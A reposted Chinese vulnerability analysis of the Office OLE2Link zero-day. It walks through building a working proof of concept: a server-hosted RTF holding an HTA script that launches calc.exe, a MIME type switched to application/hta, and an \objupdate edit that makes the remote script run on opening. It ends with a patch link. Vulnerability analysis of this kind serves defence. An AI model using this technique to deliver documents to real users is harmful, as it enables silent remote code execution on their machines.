最新OFFICE 0day漏洞分析


漏洞概述

fireeye最近公布了一個OFFICE 0day,在無需用戶交互的情況下,打開word文檔就可以通過hta腳本執行任意代碼。經過研究發現,此漏洞的成因主要是word在處理內嵌OLE2LINK對象時,通過網絡更新對象時沒有正確處理的Content-Type所導致的一個邏輯漏洞。

 

漏洞利用方法

首先准備一台apache服務器,web根目錄下保存一個1.rtf文件,內容如下:

test789
<script>
var objShell = new ActiveXObject("wscript.shell");
objShell.Run("%SystemRoot%\\system32\\calc.exe");
</script>

確保apache配置文件conf/mime.types里面有rtf的content type項:

application/rtf                 rtf

用word生成一個空白文檔,然后在其中插入一個對象。

選擇由文件創建,輸入web服務器上1.rtf的URL,一定要選上“鏈接到文件”:

這時候會生成一個有test789文字內嵌對象的文檔,這是雙擊該對象只能以rtf文件方式打開對象,並不能執行hta腳本。因為生成對象的時候選中“鏈接到文件”,所以當打開對象的時候會去服務器上請求http://192.168.1.108/1.rtf來更新對象內容。

此時在apache配置文件conf/mime.types中把

application/rtf                 rtf

修改成:

application/hta                 rtf

重啟apache后,清除IE緩存:

再雙擊對象,此時雖然訪問的還是1.rtf文件,但是服務器的Content-type會返回application/hta,而word就以hta腳本的方式打開文件:

這樣的poc還是需要用戶雙擊對象進行交互的,那么怎么樣才能自動運行對象呢?這里就需要把文件保存成rtf格式:

用文本編輯器打開剛保存的rtf文件,找到object標簽所在的地方:

{\object\objautlink\rsltpict

修改成:

{\object\objautlink\objupdate\rsltpict

保存文件再重新打開。此時無需用戶交互就可直接運行hta腳本彈出計算器:

關鍵點在於objupdate,這個標簽的作用是可以自動更新對象,因此無需用戶交互。此時已經可以達到通過hta腳本執行任意代碼的目的,至於hta腳本就是八仙過海各顯神通了。

 

修復方案

下載微軟緊急更新補丁:
https://support.microsoft.com/en-us/help/4014793/title


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM